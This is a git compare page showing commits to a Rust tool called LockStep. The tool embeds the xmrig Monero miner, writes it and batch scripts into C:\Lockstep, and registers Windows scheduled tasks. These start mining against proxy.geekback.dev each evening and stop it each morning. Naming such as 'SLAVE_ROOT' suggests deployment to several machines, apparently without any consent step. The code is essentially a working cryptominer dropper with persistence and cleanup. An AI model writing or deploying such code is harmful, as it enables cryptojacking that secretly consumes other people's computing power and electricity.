Compare commits
5 Commits
e2d2186e07
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 90db676ae3 | |||
| 7dc198218d | |||
| 6d63bc1b1f | |||
| 6d25e32261 | |||
| 82e10d2717 |
Generated
+31
-1
@@ -7,6 +7,7 @@ name = "LockStep"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"hostname",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -59,6 +60,12 @@ dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.5.50"
|
||||
@@ -111,12 +118,29 @@ version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||
|
||||
[[package]]
|
||||
name = "hostname"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a56f203cd1c76362b69e3863fd987520ac36cf70a8c92627449b2f64a8cf7d65"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"windows-link 0.1.3",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "is_terminal_polyfill"
|
||||
version = "1.70.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.177"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
||||
|
||||
[[package]]
|
||||
name = "once_cell_polyfill"
|
||||
version = "1.70.1"
|
||||
@@ -170,6 +194,12 @@ version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
@@ -191,7 +221,7 @@ version = "0.53.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
"windows-link 0.2.1",
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
|
||||
@@ -5,3 +5,4 @@ edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
clap = { version = "4.0", features = ["derive"] }
|
||||
hostname = "0.4"
|
||||
|
||||
+72
-96
@@ -1,18 +1,27 @@
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
use clap::{Parser, ValueEnum};
|
||||
use alloc::string::String;
|
||||
use clap::{Parser, ValueEnum};
|
||||
use std::fs;
|
||||
use std::fs::File;
|
||||
use std::process::{Command, Output};
|
||||
use std::io::{Result, Write};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Output};
|
||||
|
||||
pub const APP_VERSION: &str = "0.0.1-PREALPHA";
|
||||
// Start Constants
|
||||
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
|
||||
pub const DAILY_NAME: &str = "start";
|
||||
|
||||
// Config Constants
|
||||
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
|
||||
|
||||
// Stop Constants
|
||||
pub const STOPWORK_SRC: &str = include_str!("resources/stop-work.cmd");
|
||||
pub const STOPWORK_NAME: &str = "stop";
|
||||
|
||||
// Work Constants
|
||||
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
|
||||
pub const SCHTASK_NAME: &str = "c:/windows/system32/schtasks.exe";
|
||||
pub const SLAVE_ROOT: &str = "Lockstep";
|
||||
pub const WORK_NAME: &str = "xmrig";
|
||||
pub const DAILY_WORK_NAME: &str = "Lockstep\\Daily Work";
|
||||
@@ -21,14 +30,12 @@ pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield";
|
||||
#[derive(Debug, Clone, Copy, Default, ValueEnum)]
|
||||
enum AppModes {
|
||||
#[default]
|
||||
KillCommand,
|
||||
MoveIn,
|
||||
RunWork,
|
||||
MoveOut,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(name = "Lockstep", version = APP_VERSION, about = "Keep them in lockstep")]
|
||||
#[command(name = "Lockstep", version, about = "Keep them in lockstep")]
|
||||
struct Cli {
|
||||
app_modes: AppModes,
|
||||
}
|
||||
@@ -44,90 +51,59 @@ struct Cli {
|
||||
///
|
||||
/// * `Result<Output, io::Error>` - The output of the command if successful, or an I/O error.
|
||||
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
|
||||
Command::new(binary_path)
|
||||
.args(args)
|
||||
.output()
|
||||
Command::new(binary_path).args(args).output()
|
||||
}
|
||||
|
||||
fn printlog(to_say: &str) {
|
||||
println!("[ ✔ ] {to_say}");
|
||||
}
|
||||
|
||||
fn printerror(to_say: &str) {
|
||||
println!("[ X ] {to_say}");
|
||||
}
|
||||
|
||||
fn remove_command(name: &str) {
|
||||
let binary = "C:/windows/system32/schtasks.exe";
|
||||
let binary = SCHTASK_NAME;
|
||||
let parameters = ["/delete", "/tn", name, "/f"];
|
||||
|
||||
match run_windows_binary(binary, ¶meters) {
|
||||
Ok(output) => {
|
||||
println!("Status: {}", output.status);
|
||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
||||
}
|
||||
Err(error) => {
|
||||
eprintln!("Failed to execute -> {}", error);
|
||||
if output.status.success() {
|
||||
printlog(format!("Task [{name}] removed.").as_str());
|
||||
}
|
||||
}
|
||||
Err(error) => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn schedule_command(tod: &str, command: &str, name: &str) {
|
||||
let binary = "C:/windows/system32/schtasks.exe";
|
||||
let parameters = ["/create",
|
||||
"/tn", name,
|
||||
"/sc", "daily",
|
||||
"/st", tod,
|
||||
"/sd", "01/01/2001",
|
||||
"/tr", command];
|
||||
|
||||
match run_windows_binary(binary, ¶meters) {
|
||||
Ok(output) => {
|
||||
println!("Status: {}", output.status);
|
||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Failed to execute process: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_schedule_daily_command() {
|
||||
schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
|
||||
schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
|
||||
}
|
||||
|
||||
fn remove_daily_commands() {
|
||||
remove_command(DAILY_WORK_NAME);
|
||||
remove_command(DAILY_STOP_NAME);
|
||||
}
|
||||
|
||||
fn run_monero_miner() {
|
||||
let binary = "C:/lockstep/xmrig.exe";
|
||||
let parameters = ["-o", "proxy.geekback.dev",
|
||||
"--rig-id", "%computername%",
|
||||
"--huge-pages-jit",
|
||||
"--randomx-1gb-pages",
|
||||
"-B",
|
||||
"--coin", "monero"
|
||||
let binary = SCHTASK_NAME;
|
||||
let parameters = [
|
||||
"/create",
|
||||
"/tn",
|
||||
name,
|
||||
"/sc",
|
||||
"daily",
|
||||
"/st",
|
||||
tod,
|
||||
"/sd",
|
||||
"01/01/2001",
|
||||
"/tr",
|
||||
command,
|
||||
];
|
||||
|
||||
match run_windows_binary(binary, ¶meters) {
|
||||
Ok(output) => {
|
||||
println!("Status: {}", output.status);
|
||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Failed to execute process: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_kill_command() {
|
||||
let binary = "C:/windows/system32/taskkill.exe";
|
||||
let work_name_path = format!("{}.exe", WORK_NAME);
|
||||
let parameters = ["/IM", work_name_path.as_str(), "/F"];
|
||||
|
||||
match run_windows_binary(binary, ¶meters) {
|
||||
Ok(output) => {
|
||||
println!("Status: {}", output.status);
|
||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
||||
if output.status.success() {
|
||||
printerror(format!("Status: {}", output.status).as_str());
|
||||
printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
|
||||
printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
|
||||
} else {
|
||||
println!("Failed to create task.");
|
||||
printerror(format!("Status: {}", output.status).as_str());
|
||||
printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
|
||||
printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Failed to execute process: {}", e);
|
||||
@@ -136,43 +112,43 @@ fn run_kill_command() {
|
||||
}
|
||||
|
||||
fn create_file(name: &str, content: &[u8]) {
|
||||
// File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
|
||||
let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
|
||||
File::create(Path::new(full_path.as_str())).unwrap().write(content).unwrap();
|
||||
println!("Creating [{full_path}]");
|
||||
File::create(Path::new(full_path.as_str()))
|
||||
.unwrap()
|
||||
.write(content)
|
||||
.unwrap();
|
||||
}
|
||||
|
||||
fn drop_scripts_and_work() {
|
||||
#[cfg(windows)] {
|
||||
printlog(format!("Creating {}", SLAVE_ROOT).as_str());
|
||||
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
||||
create_file("daily.cmd", DAILY_SRC.as_bytes());
|
||||
create_file(format!("{}.cmd", DAILY_NAME).as_str(), DAILY_SRC.as_bytes());
|
||||
create_file("config.bat", CONFIG_SRC.as_bytes());
|
||||
create_file(format!("{}.exe", WORK_NAME), WORK_BIN);
|
||||
}
|
||||
#[cfg(not(windows))] {
|
||||
println!("Create path.");
|
||||
println!("Drop daily cmd");
|
||||
println!("Drop config");
|
||||
println!("Drop worker");
|
||||
}
|
||||
create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
|
||||
create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes());
|
||||
|
||||
}
|
||||
|
||||
fn nuke_scripts_and_work() {
|
||||
let to_remove = format!("C:\\{}", SLAVE_ROOT);
|
||||
fs::remove_dir_all(&Path::new(&to_remove));
|
||||
}
|
||||
|
||||
fn main() {
|
||||
println!("Launching LockStep {}", APP_VERSION);
|
||||
println!("Launching LockStep");
|
||||
let opts = Cli::parse();
|
||||
|
||||
match opts.app_modes {
|
||||
AppModes::KillCommand => {
|
||||
run_kill_command();
|
||||
}
|
||||
AppModes::MoveIn => {
|
||||
run_schedule_daily_command();
|
||||
schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME );
|
||||
schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME);
|
||||
drop_scripts_and_work();
|
||||
}
|
||||
AppModes::RunWork => {
|
||||
run_monero_miner();
|
||||
}
|
||||
AppModes::MoveOut => {
|
||||
remove_daily_commands();
|
||||
remove_command(DAILY_WORK_NAME);
|
||||
remove_command(DAILY_STOP_NAME);
|
||||
nuke_scripts_and_work();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
@echo off
|
||||
cls
|
||||
echo Starting Daily Commands
|
||||
pause
|
||||
cd c:\lockstep
|
||||
xmrig.exe -o proxy.geekback.dev --rig-id %computernname%
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
@echo off
|
||||
cls
|
||||
taskkill /im xmrig.exe /f
|
||||
Reference in New Issue
Block a user